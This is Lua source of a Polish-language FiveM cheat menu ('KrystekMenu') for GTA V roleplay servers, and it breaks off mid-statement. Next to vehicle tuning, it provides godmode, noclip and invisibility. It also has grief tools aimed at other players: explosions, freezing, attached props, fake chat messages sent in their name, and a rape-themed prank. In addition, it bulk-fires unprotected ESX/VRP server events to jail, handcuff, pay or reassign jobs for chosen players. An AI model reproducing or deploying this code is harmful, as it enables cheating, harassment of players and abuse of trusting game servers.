- KrystekMenu.CreateSubMenu('SpawnPeds', 'Trollmenu', 'Zresp Ludzi')
- KrystekMenu.CreateSubMenu('SpawnObj', 'Trollmenu', 'Zresp Model')
- KrystekMenu.CreateSubMenu('GCT', 'VehicleMenu', 'Globalne Pojazdowe Trolle')
- KrystekMenu.CreateSubMenu('CsMenu', 'AdvM', 'Celowniki')
- for i, dE in pairs(bl) do
- KrystekMenu.CreateSubMenu(dE.id, 'tunings', dE.name)
- if dE.id == 'paint' then
- KrystekMenu.CreateSubMenu('primary', dE.id, 'Primary Paint')
- KrystekMenu.CreateSubMenu('secondary', dE.id, 'Secondary Paint')
- KrystekMenu.CreateSubMenu('rimpaint', dE.id, 'Wheel Paint')
- KrystekMenu.CreateSubMenu('classic1', 'primary', 'Classic Paint')
- KrystekMenu.CreateSubMenu('metallic1', 'primary', 'Metallic Paint')
- KrystekMenu.CreateSubMenu('matte1', 'primary', 'Matte Paint')
- KrystekMenu.CreateSubMenu('metal1', 'primary', 'Metal Paint')
- KrystekMenu.CreateSubMenu('classic2', 'secondary', 'Classic Paint')
- KrystekMenu.CreateSubMenu('metallic2', 'secondary', 'Metallic Paint')
- KrystekMenu.CreateSubMenu('matte2', 'secondary', 'Matte Paint')
- KrystekMenu.CreateSubMenu('metal2', 'secondary', 'Metal Paint')
- KrystekMenu.CreateSubMenu('classic3', 'rimpaint', 'Classic Paint')
- KrystekMenu.CreateSubMenu('metallic3', 'rimpaint', 'Metallic Paint')
- KrystekMenu.CreateSubMenu('matte3', 'rimpaint', 'Matte Paint')
- KrystekMenu.CreateSubMenu('metal3', 'rimpaint', 'Metal Paint')
- end
- end
- for i, dE in pairs(bm) do
- KrystekMenu.CreateSubMenu(dE.id, 'performance', dE.name)
- end
- local SelectedPlayer
- while bw do
- ped = PlayerPedId()
- veh = GetVehiclePedIsUsing(ped)
- SetVehicleModKit(veh, 0)
- for i, dE in pairs(bl) do
- if KrystekMenu.IsMenuOpened('tunings') then
- if bg then
- if bi == 'neon' then
- local r, g, b = table.unpack(bh)
- SetVehicleNeonLightsColour(veh, r, g, b)
- SetVehicleNeonLightEnabled(veh, 0, bk)
- SetVehicleNeonLightEnabled(veh, 1, bk)
- SetVehicleNeonLightEnabled(veh, 2, bk)
- SetVehicleNeonLightEnabled(veh, 3, bk)
- bg = false
- bi = -1
- bh = -1
- elseif bi == 'paint' then
- local dF, dG, dH, dI = table.unpack(bh)
- SetVehicleColours(veh, dF, dG)
- SetVehicleExtraColours(veh, dH, dI)
- bg = false
- bi = -1
- bh = -1
- else
- if bk == 'rm' then
- RemoveVehicleMod(veh, bi)
- bg = false
- bi = -1
- bh = -1
- else
- SetVehicleMod(veh, bi, bh, false)
- bg = false
- bi = -1
- bh = -1
- end
- end
- end
- end
- if KrystekMenu.IsMenuOpened(dE.id) then
- if dE.id == 'wheeltypes' then
- if KrystekMenu.Button('Sport Wheels') then
- SetVehicleWheelType(veh, 0)
- elseif KrystekMenu.Button('Muscle Wheels') then
- SetVehicleWheelType(veh, 1)
- elseif KrystekMenu.Button('Lowrider Wheels') then
- SetVehicleWheelType(veh, 2)
- elseif KrystekMenu.Button('SUV Wheels') then
- SetVehicleWheelType(veh, 3)
- elseif KrystekMenu.Button('Offroad Wheels') then
- SetVehicleWheelType(veh, 4)
- elseif KrystekMenu.Button('Tuner Wheels') then
- SetVehicleWheelType(veh, 5)
- elseif KrystekMenu.Button('High End Wheels') then
- SetVehicleWheelType(veh, 7)
- end
- KrystekMenu.Display()
- elseif dE.id == 'extra' then
- local dJ = checkValidVehicleExtras()
- for i, dE in pairs(dJ) do
- if IsVehicleExtraTurnedOn(veh, i) then
- pricestring = 'Zainstalowane'
- else
- pricestring = 'Nie Zainstalowane'
- end
- if KrystekMenu.Button(dE.menuName, pricestring) then
- SetVehicleExtra(veh, i, IsVehicleExtraTurnedOn(veh, i))
- end
- end
- KrystekMenu.Display()
- elseif dE.id == 'headlight' then
- if KrystekMenu.Button('None') then
- SetVehicleHeadlightsColour(veh, -1)
- end
- for dK, dE in pairs(bo) do
- tp = GetVehicleHeadlightsColour(veh)
- if tp == dE.id and not bg then
- pricetext = 'Zainstalowane'
- else
- if bg and tp == dE.id then
- pricetext = 'Testowanie'
- else
- pricetext = 'Nie Zainstalowane'
- end
- end
- head = GetVehicleHeadlightsColour(veh)
- if KrystekMenu.Button(dE.name, pricetext) then
- if not bg then
- bi = 'headlight'
- bk = false
- oldhead = GetVehicleHeadlightsColour(veh)
- bh = table.pack(oldhead)
- SetVehicleHeadlightsColour(veh, dE.id)
- bg = true
- elseif bg and head == dE.id then
- ToggleVehicleMod(veh, 22, true)
- SetVehicleHeadlightsColour(veh, dE.id)
- bg = false
- bi = -1
- bh = -1
- elseif bg and head ~= dE.id then
- SetVehicleHeadlightsColour(veh, dE.id)
- bg = true
- end
- end
- end
- KrystekMenu.Display()
- elseif dE.id == 'licence' then
- if KrystekMenu.Button('None') then
- SetVehicleNumberPlateTextIndex(veh, 3)
- end
- for dK, dE in pairs(bn) do
- tp = GetVehicleNumberPlateTextIndex(veh)
- if tp == dE.id and not bg then
- pricetext = 'Zainstalowane'
- else
- if bg and tp == dE.id then
- pricetext = 'Testowanie'
- else
- pricetext = 'Nie Zainstalowane'
- end
- end
- plate = GetVehicleNumberPlateTextIndex(veh)
- if KrystekMenu.Button(dE.name, pricetext) then
- if not bg then
- bi = 'headlight'
- bk = false
- oldhead = GetVehicleNumberPlateTextIndex(veh)
- bh = table.pack(oldhead)
- SetVehicleNumberPlateTextIndex(veh, dE.id)
- bg = true
- elseif bg and plate == dE.id then
- SetVehicleNumberPlateTextIndex(veh, dE.id)
- bg = false
- bi = -1
- bh = -1
- elseif bg and plate ~= dE.id then
- SetVehicleNumberPlateTextIndex(veh, dE.id)
- bg = true
- end
- end
- end
- KrystekMenu.Display()
- elseif dE.id == 'neon' then
- if KrystekMenu.Button('None') then
- SetVehicleNeonLightsColour(veh, 255, 255, 255)
- SetVehicleNeonLightEnabled(veh, 0, false)
- SetVehicleNeonLightEnabled(veh, 1, false)
- SetVehicleNeonLightEnabled(veh, 2, false)
- SetVehicleNeonLightEnabled(veh, 3, false)
- end
- for i, dE in pairs(bq) do
- colorr, colorg, colorb = table.unpack(dE)
- r, g, b = GetVehicleNeonLightsColour(veh)
- if
- colorr == r and colorg == g and colorb == b and IsVehicleNeonLightEnabled(vehicle, 2) and
- not bg
- then
- pricestring = 'Zainstalowane'
- else
- if bg and colorr == r and colorg == g and colorb == b then
- pricestring = 'Testowanie'
- else
- pricestring = 'Nie Zainstalowane'
- end
- end
- if KrystekMenu.Button(i, pricestring) then
- if not bg then
- bi = 'neon'
- bk = IsVehicleNeonLightEnabled(veh, 1)
- oldr, oldg, oldb = GetVehicleNeonLightsColour(veh)
- bh = table.pack(oldr, oldg, oldb)
- SetVehicleNeonLightsColour(veh, colorr, colorg, colorb)
- SetVehicleNeonLightEnabled(veh, 0, true)
- SetVehicleNeonLightEnabled(veh, 1, true)
- SetVehicleNeonLightEnabled(veh, 2, true)
- SetVehicleNeonLightEnabled(veh, 3, true)
- bg = true
- elseif bg and colorr == r and colorg == g and colorb == b then
- SetVehicleNeonLightsColour(veh, colorr, colorg, colorb)
- SetVehicleNeonLightEnabled(veh, 0, true)
- SetVehicleNeonLightEnabled(veh, 1, true)
- SetVehicleNeonLightEnabled(veh, 2, true)
- SetVehicleNeonLightEnabled(veh, 3, true)
- bg = false
- bi = -1
- bh = -1
- elseif bg and colorr ~= r or colorg ~= g or colorb ~= b then
- SetVehicleNeonLightsColour(veh, colorr, colorg, colorb)
- SetVehicleNeonLightEnabled(veh, 0, true)
- SetVehicleNeonLightEnabled(veh, 1, true)
- SetVehicleNeonLightEnabled(veh, 2, true)
- SetVehicleNeonLightEnabled(veh, 3, true)
- bg = true
- end
- end
- end
- KrystekMenu.Display()
- elseif dE.id == 'paint' then
- if KrystekMenu.MenuButton('~h~~p~#~s~ Pierwszy Kolor', 'primary') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ Drugi Kolor', 'secondary') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ Kolor Felg', 'rimpaint') then
- end
- KrystekMenu.Display()
- else
- local az = checkValidVehicleMods(dE.id)
- for i, dL in pairs(az) do
- for dM, dN in pairs(bp) do
- if dM == dE.name and GetVehicleMod(veh, dE.id) ~= dL.data.realIndex then
- price = 'Nie Zainstalowane'
- elseif dM == dE.name and bg and GetVehicleMod(veh, dE.id) == dL.data.realIndex then
- price = 'Testowanie'
- elseif dM == dE.name and GetVehicleMod(veh, dE.id) == dL.data.realIndex then
- price = 'Zainstalowane'
- end
- end
- if dL.menuName == '~h~~b~Stock' then
- end
- if dE.name == 'Horns' then
- for dO, dP in pairs(bp) do
- if dP == ci - 1 then
- dL.menuName = dO
- end
- end
- end
- if dL.menuName == 'NULL' then
- dL.menuName = 'unknown'
- end
- if KrystekMenu.Button(dL.menuName) then
- if not bg then
- bi = dE.id
- bh = GetVehicleMod(veh, dE.id)
- bg = true
- if dL.data.realIndex == -1 then
- bk = 'rm'
- RemoveVehicleMod(veh, dL.data.modid)
- bg = false
- bi = -1
- bh = -1
- bk = false
- else
- bk = false
- SetVehicleMod(veh, dE.id, dL.data.realIndex, false)
- end
- elseif bg and GetVehicleMod(veh, dE.id) == dL.data.realIndex then
- bg = false
- bi = -1
- bh = -1
- bk = false
- if dL.data.realIndex == -1 then
- RemoveVehicleMod(veh, dL.data.modid)
- else
- SetVehicleMod(veh, dE.id, dL.data.realIndex, false)
- end
- elseif bg and GetVehicleMod(veh, dE.id) ~= dL.data.realIndex then
- if dL.data.realIndex == -1 then
- RemoveVehicleMod(veh, dL.data.modid)
- bg = false
- bi = -1
- bh = -1
- bk = false
- else
- SetVehicleMod(veh, dE.id, dL.data.realIndex, false)
- bg = true
- end
- end
- end
- end
- KrystekMenu.Display()
- end
- end
- end
- for i, dE in pairs(bm) do
- if KrystekMenu.IsMenuOpened(dE.id) then
- if GetVehicleMod(veh, dE.id) == 0 then
- pricestock = 'Nie Zainstalowane'
- price1 = 'Zainstalowane'
- price2 = 'Nie Zainstalowane'
- price3 = 'Nie Zainstalowane'
- price4 = 'Nie Zainstalowane'
- elseif GetVehicleMod(veh, dE.id) == 1 then
- pricestock = 'Nie Zainstalowane'
- price1 = 'Nie Zainstalowane'
- price2 = 'Zainstalowane'
- price3 = 'Nie Zainstalowane'
- price4 = 'Nie Zainstalowane'
- elseif GetVehicleMod(veh, dE.id) == 2 then
- pricestock = 'Nie Zainstalowane'
- price1 = 'Nie Zainstalowane'
- price2 = 'Nie Zainstalowane'
- price3 = 'Zainstalowane'
- price4 = 'Nie Zainstalowane'
- elseif GetVehicleMod(veh, dE.id) == 3 then
- pricestock = 'Nie Zainstalowane'
- price1 = 'Nie Zainstalowane'
- price2 = 'Nie Zainstalowane'
- price3 = 'Nie Zainstalowane'
- price4 = 'Zainstalowane'
- elseif GetVehicleMod(veh, dE.id) == -1 then
- pricestock = 'Zainstalowane'
- price1 = 'Nie Zainstalowane'
- price2 = 'Nie Zainstalowane'
- price3 = 'Nie Zainstalowane'
- price4 = 'Nie Zainstalowane'
- end
- if KrystekMenu.Button('Stock ' .. dE.name, pricestock) then
- SetVehicleMod(veh, dE.id, -1)
- elseif KrystekMenu.Button(dE.name .. ' Wersja 1', price1) then
- SetVehicleMod(veh, dE.id, 0)
- elseif KrystekMenu.Button(dE.name .. ' Wersja 2', price2) then
- SetVehicleMod(veh, dE.id, 1)
- elseif KrystekMenu.Button(dE.name .. ' Wersja 3', price3) then
- SetVehicleMod(veh, dE.id, 2)
- elseif dE.id ~= 13 and dE.id ~= 12 and KrystekMenu.Button(dE.name .. ' Wersja 4', price4) then
- SetVehicleMod(veh, dE.id, 3)
- end
- KrystekMenu.Display()
- end
- end
- if KrystekMenu.IsMenuOpened('KrystekMu') then
- local dQ = PlayerId(-1)
- local bH = GetPlayerName(dQ)
- av('Zapros kolegow na discorda: ~h~https://discord.gg/zMueqbA', false)
- av('Jak tam mija ci dzisiaj dzien? :D', false)
- if KrystekMenu.CheckBox('~h~~p~#~s~ ∑ Nick: ~r~' .. GetPlayerName(PlayerId(-1)) .. ' ~b~Informacje ~s~-->',
- showinfo2,
- function(dR)
- crosshair = false
- crosshairc = false
- showinfo2 = dR
- end
- )
- then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ ∑ Menu Postaci ∑', 'SelfMenu') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ ∑ Gracze Online ∑', 'OnlinePlayerMenu') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ ∑ Menu Teleportu ∑', 'TeleportMenu') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ ∑ Menu Pojazdow ∑', 'VehicleMenu') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ ∑ Menu Broni ∑', 'WeaponMenu') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ ∑ Lua Menu ∑', 'LuaMenu') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ ∑ Zaawansowane ∑', 'AdvM') then
- elseif KrystekMenu.MenuButton('~h~~p~#~y~ ∑ Social Media ∑', 'crds') then
- elseif KrystekMenu.Button('~h~~p~#~r~ ∑ Wylacz Menu ∑') then
- QuitMenu()
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('SelfMenu') then
- if
- KrystekMenu.CheckBox(
- '~h~~g~Godmode',
- Godmode,
- function(dR)
- Godmode = dR
- end
- )
- then
- elseif KrystekMenu.Button('~h~~y~Zbugowany ~g~Godmode') then
- local dS = 'stt_prop_stunt_soccer_ball'
- while not HasModelLoaded(GetHashKey(dS)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dS))
- end
- local dT = CreateObject(GetHashKey(dS), 0, 0, 0, true, true, false)
- SetEntityVisible(dT, 0, 0)
- AttachEntityToEntity(
- dT,
- GetPlayerPed(-1),
- GetPedBoneIndex(GetPlayerPed(-1), 57005),
- 0,
- 0,
- -1.0,
- 0,
- 0,
- 0,
- false,
- true,
- true,
- true,
- 1,
- true
- )
- elseif
- KrystekMenu.CheckBox(
- '~h~~g~Niewidzialnosc',
- d4,
- function(dR)
- d4 = dR
- end
- )
- then
- elseif KrystekMenu.Button('~h~~r~Zabij sie') then
- SetEntityHealth(PlayerPedId(-1), 0)
- elseif KrystekMenu.Button('~h~~g~ESX~s~ Revive Siebie~s~') then
- TriggerServerEvent('esx_ambulancejob:setDeathStatus', false)
- elseif KrystekMenu.Button('~h~~g~Ulecz/Revive') then
- SetEntityHealth(PlayerPedId(-1), 200)
- elseif KrystekMenu.Button('~h~~b~Daj Armor') then
- SetPedArmour(PlayerPedId(-1), 200)
- elseif
- KrystekMenu.CheckBox(
- '~h~Nieskonczona Stamina',
- InfStamina,
- function(dR)
- InfStamina = dR
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~Termo ~o~Wizja',
- night,
- function(night)
- end
- )
- then
- night = not night
- night = night
- SetSeethrough(night)
- elseif
- KrystekMenu.CheckBox(
- '~h~~o~Noktowizor',
- night,
- function(night)
- end
- )
- then
- night = not night
- nightVision = night
- SetNightvision(nightVision)
- elseif
- KrystekMenu.CheckBox(
- '~h~Fast Run',
- fastrun,
- function(dR)
- fastrun = dR
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~Super Jump',
- SuperJump,
- function(dR)
- SuperJump = dR
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~Noclip',
- Noclip,
- function(dR)
- Noclip = dR
- end
- )
- then
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('OnlinePlayerMenu') then
- for i = 0, 128 do
- if
- NetworkIsPlayerActive(i) and GetPlayerServerId(i) ~= 0 and
- KrystekMenu.MenuButton(
- GetPlayerName(i) ..
- ' ~p~[' ..
- GetPlayerServerId(i) ..
- ']~s~ ~y~[' ..
- i ..
- ']~s~ ' ..
- (IsPedDeadOrDying(GetPlayerPed(i), 1) and '~h~~r~MARTWY' or
- '~h~~g~ZYWY'),
- 'PlayerOptionsMenu'
- )
- then
- SelectedPlayer = i
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('PlayerOptionsMenu') then
- KrystekMenu.SetSubTitle('PlayerOptionsMenu', 'Opcje Gracza [' .. GetPlayerName(SelectedPlayer) .. ']')
- if KrystekMenu.MenuButton('~h~~p~#~s~ ESX Triggery', 'ESXTriggerini') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ ESX Prace', 'ESXJobs2') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ VRP Triggery', 'VRPPlayerTriggers') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ Troll Menu', 'Trollmenu') then
- elseif KrystekMenu.Button('~h~Obserwuj', cC and '~g~[OBSERWOWANIE]') then
- SpectatePlayer(SelectedPlayer)
- elseif KrystekMenu.Button('~h~~r~XD MODE') then
- local dS = 'stt_prop_stunt_soccer_ball'
- while not HasModelLoaded(GetHashKey(dS)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dS))
- end
- local dT = CreateObject(GetHashKey(dS), 0, 0, 0, true, true, false)
- SetEntityVisible(dT, 0, 0)
- AttachEntityToEntity(
- dT,
- GetPlayerPed(SelectedPlayer),
- GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 57005),
- 0,
- 0,
- -1.0,
- 0,
- 0,
- 0,
- false,
- true,
- true,
- true,
- 1,
- true
- )
- elseif KrystekMenu.Button('~h~~g~Ulecz ~s~Gracza') then
- local dU = 'PICKUP_HEALTH_STANDARD'
- local dV = GetHashKey(dU)
- local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- CreateAmbientPickup(dV, bK.x, bK.y, bK.z + 1.0, 1, 1, dV, 1, 0)
- SetPickupRegenerationTime(pickup, 60)
- elseif KrystekMenu.Button('~h~~b~Daj Armor ~s~Graczowi') then
- local dW = 'PICKUP_ARMOUR_STANDARD'
- local dX = GetHashKey(dW)
- local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- local pickup = CreateAmbientPickup(dX, bK.x, bK.y, bK.z + 1.0, 1, 1, dX, 1, 0)
- SetPickupRegenerationTime(pickup, 60)
- elseif KrystekMenu.Button('~h~~b~Daj Full Armor ~s~Graczowi') then
- local dW = 'PICKUP_ARMOUR_STANDARD'
- local dX = GetHashKey(dW)
- local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- for i = 0, 99 do
- Citizen.Wait(0)
- CreateAmbientPickup(dX, bK.x, bK.y, bK.z + 1.0, 1, 1, dX, 1, 0)
- SetPickupRegenerationTime(pickup, 10)
- i = i + 1
- end
- elseif KrystekMenu.Button('~h~Teleportuj do niego') then
- if cO then
- local confirm = KeyboardInput('Czy na pewno? y/n', '', 0)
- if confirm == 'y' then
- local Entity =
- IsPedInAnyVehicle(PlayerPedId(-1), false) and GetVehiclePedIsUsing(PlayerPedId(-1)) or
- PlayerPedId(-1)
- SetEntityCoords(Entity, GetEntityCoords(GetPlayerPed(SelectedPlayer)), 0.0, 0.0, 0.0, false)
- elseif confirm == 'n' then
- av('~h~~b~Niepowodzenie~s~.', false)
- else
- av('~h~~b~Niepoprawne~s~.', true)
- av('~h~~b~Niepowodzenie~s~.', false)
- end
- else
- local Entity =
- IsPedInAnyVehicle(PlayerPedId(-1), false) and GetVehiclePedIsUsing(PlayerPedId(-1)) or
- PlayerPedId(-1)
- SetEntityCoords(Entity, GetEntityCoords(GetPlayerPed(SelectedPlayer)), 0.0, 0.0, 0.0, false)
- end
- elseif
- KrystekMenu.CheckBox(
- '~h~Freeze Player',
- freezeplayer,
- function(dR)
- freezeplayer = dR
- end
- )
- then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ Daj Jedna Bron', 'GiveSingleWeaponPlayer') then
- elseif KrystekMenu.Button('~h~Daj ~r~Wszystkie Bronie') then
- for i = 1, #b6 do
- GiveWeaponToPed(GetPlayerPed(SelectedPlayer), GetHashKey(b6[i]), 1000, false, false)
- end
- elseif KrystekMenu.Button('~h~Usun ~r~Wszystkie Bronie') then
- RemoveAllPedWeapons(PlayerPedId(SelectedPlayer), true)
- elseif KrystekMenu.Button('~h~Daj ~r~Pojazd') then
- local ped = GetPlayerPed(SelectedPlayer)
- local cb = KeyboardInput('Wprowadz nazwe pojazdu', '', 100)
- if cb and IsModelValid(cb) and IsModelAVehicle(cb) then
- RequestModel(cb)
- while not HasModelLoaded(cb) do
- Citizen.Wait(0)
- end
- local veh =
- CreateVehicle(GetHashKey(cb), GetEntityCoords(ped), GetEntityHeading(ped) + 90, true, true)
- else
- av('~b~Nie ma takiego pojazdu!', true)
- end
- elseif KrystekMenu.Button('~h~Wyslij do ~r~Jail') then
- TriggerServerEvent('esx-qalle-jail:jailPlayer', GetPlayerServerId(selectedPlayer), 5000, 'Pozdro :D')
- TriggerServerEvent('esx_jailer:sendToJail', GetPlayerServerId(selectedPlayer), 45 * 60)
- TriggerServerEvent('esx_jail:sendToJail', GetPlayerServerId(selectedPlayer), 45 * 60)
- TriggerServerEvent('js:jailuser', GetPlayerServerId(selectedPlayer), 45 * 60, 'Pozdro :D')
- TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(selectedPlayer), 60 * 60, 'Pozdro :D', 1)
- TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(selectedPlayer), 9937, "Pozdro :D", 300)
- TriggerServerEvent("esx-qalle-jail:jailPlayer", GetPlayerServerId(selectedPlayer), 5000, "Pozdro :D")
- TriggerServerEvent("esx-qalle-jail:jailPlayerNew", GetPlayerServerId(selectedPlayer), 5000, "Pozdro :D")
- TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(selectedPlayer), 50000)
- TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(selectedPlayer), 5000, "Pozdro :D")
- TriggerServerEvent("js:jailuser", GetPlayerServerId(selectedPlayer), 5000, "Pozdro :D")
- TriggerServerEvent('chatMessageEntered', "SYSTEM", { 0, 0, 0 }, GetPlayerName(PlayerId()) .."Pozdro :D")
- elseif KrystekMenu.Button('~h~~g~Wypusc ~s~Z Jail') then
- local dY = SelectedPlayer
- TriggerServerEvent('esx-qalle-jail:jailPlayer', GetPlayerServerId(dY), 0, 'escaperino')
- TriggerServerEvent('esx_jailer:sendToJail', GetPlayerServerId(dY), 0)
- TriggerServerEvent('esx_jail:sendToJail', GetPlayerServerId(dY), 0)
- TriggerServerEvent('js:jailuser', GetPlayerServerId(dY), 0, 'escaperino')
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('ESXTriggerini') then
- if KrystekMenu.Button('~h~~g~Revive Player') then
- local ax = GetPlayerPed(SelectedPlayer)
- local bK = GetEntityCoords(ax)
- TriggerServerEvent('esx_ambulancejob:revive', GetPlayerServerId(SelectedPlayer))
- local dZ = {
- x = ESX.Math.Round(bK.x, 1),
- y = ESX.Math.Round(bK.y, 1),
- z = ESX.Math.Round(bK.z, 1)
- }
- RespawnPed(ax, dZ, 0.0)
- StopScreenEffect('DeathFailOut')
- DoScreenFadeIn(800)
- elseif KrystekMenu.Button('~h~~g~Daj kase z twojego portfela') then
- local m = KeyboardInput('Wpisz ilosc kasy do dania', '', 100)
- if m ~= '' then
- TriggerServerEvent(
- 'esx:giveInventoryItem',
- GetPlayerServerId(SelectedPlayer),
- 'item_money',
- 'money',
- m
- )
- end
- elseif KrystekMenu.Button('~h~~b~Skuj Gracza') then
- TriggerServerEvent('esx_policejob:handcuff', GetPlayerServerId(SelectedPlayer))
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('VRPPlayerTriggers') then
- if KrystekMenu.Button('~h~Wyslij pieniadze z twojego banku') then
- local d_ = KeyboardInput('Wpisz ilosc kasy do dania', '', 100)
- local e0 = KeyboardInput('Daj id gracza VRP!', '', 100)
- if d_ ~= '' then
- local di = GetPlayerServerId(PlayerId())
- TriggerEvent('bank:transfer', di, GetPlayerServerId(SelectedPlayer), d_)
- TriggerServerEvent('bank:transfer', e0, d_)
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('ESXJobs2') then
- if KrystekMenu.Button('~h~Bezrobotny') then
- TriggerServerEvent('NB:destituerplayer', GetPlayerServerId(SelectedPlayer))
- UnemployedPlayer(SelectedPlayer)
- elseif KrystekMenu.Button('~h~Ustaw ~b~Policjant ~s~Job') then
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), 'police', 3)
- PolicePlayer(SelectedPlayer)
- elseif KrystekMenu.Button('~h~Ustaw ~o~Mechanik ~s~Job') then
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), 'mecano', 3)
- MecanoPlayer(SelectedPlayer)
- elseif KrystekMenu.Button('~h~Ustaw ~y~Taxi ~s~Job') then
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), 'taxi', 3)
- TaxiPlayer(SelectedPlayer)
- elseif KrystekMenu.Button('~h~Ustaw ~r~Ambulance ~s~Job') then
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), 'ambulance', 3)
- AmbulancePlayer(SelectedPlayer)
- elseif KrystekMenu.Button('~h~Ustaw ~g~Agent Nieruchomosci ~s~Job') then
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), 'realestateagent', 3)
- RealEstateAgentPlayer(SelectedPlayer)
- elseif KrystekMenu.Button('~h~Ustaw ~r~Car ~b~Dealer ~s~Job') then
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(SelectedPlayer), 'cardealer', 3)
- CarDealerPlayer(SelectedPlayer)
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('Trollmenu') then
- if KrystekMenu.MenuButton('~h~~p~#~s~ Zresp Ludzi', 'SpawnPeds') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ Zresp Model', 'SpawnObj') then
- elseif KrystekMenu.Button('~h~~r~Falszywa ~s~Wiadomosc') then
- local e1 = KeyboardInput('Wpisz wiadomosc do wyslania', '', 100)
- local e2 = GetPlayerName(SelectedPlayer)
- if e1 then
- TriggerServerEvent(
- '_chat:messageEntered',
- e2,
- {
- 0,
- 0x99,
- 255
- },
- e1
- )
- end
- elseif KrystekMenu.Button('~h~~r~Wyrzuc ~s~Z Pojazdu') then
- ClearPedTasksImmediately(GetPlayerPed(SelectedPlayer))
- elseif KrystekMenu.Button('~h~~y~Exploduj ~s~Pojazd') then
- if IsPedInAnyVehicle(GetPlayerPed(SelectedPlayer), true) then
- AddExplosion(GetEntityCoords(GetPlayerPed(SelectedPlayer)), 4, 1337.0, false, true, 0.0)
- else
- av('~h~~b~Gracz nie jest w pojezdzie~s~.', false)
- end
- elseif KrystekMenu.Button('~h~~r~Wystrzel ~s~jego pojazd') then
- if GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), false) ~= 0 then
- local e3 = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- local e4 = GetEntityHeading(GetPlayerPed(SelectedPlayer))
- local e5 = CreatePed(5, 68070371, e3, e4, true)
- local e6 = CreateVehicle(GetHashKey('adder'), e3, e4, true, false)
- SetPedIntoVehicle(e5, e6, -1)
- else
- av('~h~~b~Gracz nie jest w pojezdzie~s~.', false)
- end
- elseif KrystekMenu.Button('~h~~r~Banana ~p~Party') then
- local bH = CreateObject(GetHashKey('p_crahsed_heli_s'), 0, 0, 0, true, true, true)
- local bI = CreateObject(GetHashKey('prop_rock_4_big2'), 0, 0, 0, true, true, true)
- local bJ = CreateObject(GetHashKey('prop_beachflag_le'), 0, 0, 0, true, true, true)
- AttachEntityToEntity(
- bH,
- GetPlayerPed(SelectedPlayer),
- GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 57005),
- 0.4,
- 0,
- 0,
- 0,
- 270.0,
- 60.0,
- true,
- true,
- false,
- true,
- 1,
- true
- )
- AttachEntityToEntity(
- bI,
- GetPlayerPed(SelectedPlayer),
- GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 57005),
- 0.4,
- 0,
- 0,
- 0,
- 270.0,
- 60.0,
- true,
- true,
- false,
- true,
- 1,
- true
- )
- AttachEntityToEntity(
- bJ,
- GetPlayerPed(SelectedPlayer),
- GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 57005),
- 0.4,
- 0,
- 0,
- 0,
- 270.0,
- 60.0,
- true,
- true,
- false,
- true,
- 1,
- true
- )
- elseif KrystekMenu.Button('~h~~r~Exploduj') then
- AddExplosion(GetEntityCoords(GetPlayerPed(SelectedPlayer)), 5, 3000.0, true, false, 100000.0)
- AddExplosion(GetEntityCoords(GetPlayerPed(SelectedPlayer)), 5, 3000.0, true, false, true)
- elseif KrystekMenu.Button('~h~~r~Gwalc go XD') then
- RequestModelSync('a_m_o_acult_01')
- RequestAnimDict('rcmpaparazzo_2')
- while not HasAnimDictLoaded('rcmpaparazzo_2') do
- Citizen.Wait(0)
- end
- if IsPedInAnyVehicle(GetPlayerPed(SelectedPlayer), true) then
- local veh = GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), true)
- while not NetworkHasControlOfEntity(veh) do
- NetworkRequestControlOfEntity(veh)
- Citizen.Wait(0)
- end
- SetEntityAsMissionEntity(veh, true, true)
- DeleteVehicle(veh)
- DeleteEntity(veh)
- end
- count = -0.2
- for b = 1, 3 do
- local x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(SelectedPlayer), true))
- local bS = CreatePed(4, GetHashKey('a_m_o_acult_01'), x, y, z, 0.0, true, false)
- SetEntityAsMissionEntity(bS, true, true)
- AttachEntityToEntity(
